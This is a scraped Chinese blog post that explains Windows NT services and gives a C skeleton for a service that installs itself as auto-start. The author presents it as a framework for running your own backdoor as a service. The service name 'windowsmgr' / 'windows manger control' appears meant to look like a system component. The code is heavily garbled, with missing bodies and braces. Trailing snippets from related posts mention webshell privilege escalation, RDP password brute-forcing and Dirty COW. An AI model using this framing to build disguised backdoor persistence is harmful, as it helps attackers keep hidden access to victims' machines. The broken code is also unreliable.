編寫NT服務 (供大家學習 )

2021-09-30 04:46:38 字數 2321 閱讀 5318

先介紹一下什麼是nt服務,實際上就是乙個可以在系統啟動時自動在一定身份下啟動的,伴隨著系統長期存在的程序.

乙個nt服務有三部分構成:

1:service control manager(scm) 每個win nt/2k都有乙個scm,他存在於service.exe中.

2:服務本身 乙個服務擁有能從scm受到訊號和命令所必需的特殊**,並能夠在處理後將他的狀態返回scm.

3:service control dispatcher(scp) 他是乙個擁有使用者截面,允許使用者開始,暫停,繼續,並且控制已經安裝在計算機上作為服務執行的win32

應用程式

下面我們來看編寫乙個nt服務: (這是乙個服務框架,只要在他後面新增自己的後門**,那麼後門就可以實現服務方式啟動)

請大家對照注釋仔細研究!

#include

#include

service_status m_servicestatus;

service_status_handle m_servicestatushandle;

bool brunning=true;

void winapi servicemain(dword argc, lptstr *ar**); //服務主函式

void winapi servicectrlhandler(dword opcode); //服務控制函式

void winapi cmdstart(void); //要啟動的程式函式

bool installservice(); //安裝服務的函式

bool deleteservice(); //刪除服務的函式

int main(int argc, char* ar**)

if(strcmp(ar**[1],"-install")==0) //安裝

else if(strcmp(ar**[1],"-remove")==0) // 刪除

else

//在進入點函式裡面要完成servicemain的初始化,

//準確點說是初始化乙個service_table_entry結構陣列,

//這個結構記錄了這個服務程式裡面所包含的所有服務的名稱

//和服務的進入點函式

service_table_entry

dispatchtable=,};

//最後的null指明陣列的結束

startservicectrldispatcher(dispatchtable);

return 0; }

void winapi servicemain(dword argc, lptstr *ar**)

void winapi servicectrlhandler(dword opcode) //服務控制函式

return; }

bool installservice() //安裝服務函式

lpctstr lpszbinarypathname=strdir;

schservice = createservice(schscmanager,"windowsmgr","windows manger control", //將服務的資訊新增到scm的資料庫

service_all_access,

service_win32_own_process, // 服務型別

service_auto_start, // 啟動型別

service_error_normal,

lpszbinarypathname, // 服務名

null,

null,

null,

null,

null);

if (schservice == null)

closeservicehandle(schservice);

return true; }

bool deleteservice()

hservice=openservice(schscmanager,"windowsmgr",service_all_access);

if (hservice == null)

if(deletefile(chsyspath)==0)

else printf("delete file ok!/n");

if(deleteservice(hservice)==0)

return false;

if(closeservicehandle(hservice)==0)

return false;

else

return true; }

void winapi cmdstart(void)

Fleaphp函式用法舉例,供大家學習

row array 字段 字段值 字段 字段值 字段 字段值 字段 字段值 conditions array level ix 3 table updatebyconditions conditions,row 3。flea db tabledatagateway updatefield 用途 更新...

編寫NT服務

編寫nt服務 先介紹一下什麼是nt服務,實際上就是乙個可以在系統啟動時自動在一定身份下啟動的,伴隨著系統長期存在的程序.乙個nt服務有三部分構成 1 service control manager scm 每個win nt 2k都有乙個scm,他存在於service.exe中.2 服務本身 乙個服務...

關於徵集大家學習部落格的通知

今天整理了些爬取部落格 文章的爬蟲,自己覺得不錯的文章保留了下來,如果你們有不錯部落格可以推薦,不限制國內國外。在此向您請教!虛心學習。如果有一天,你想看哪方面的文章可以按以下方式 webshell下的另類提權之3389密碼爆破 利用 dirty cow 髒牛 漏洞的提權嘗試 sp oacreate...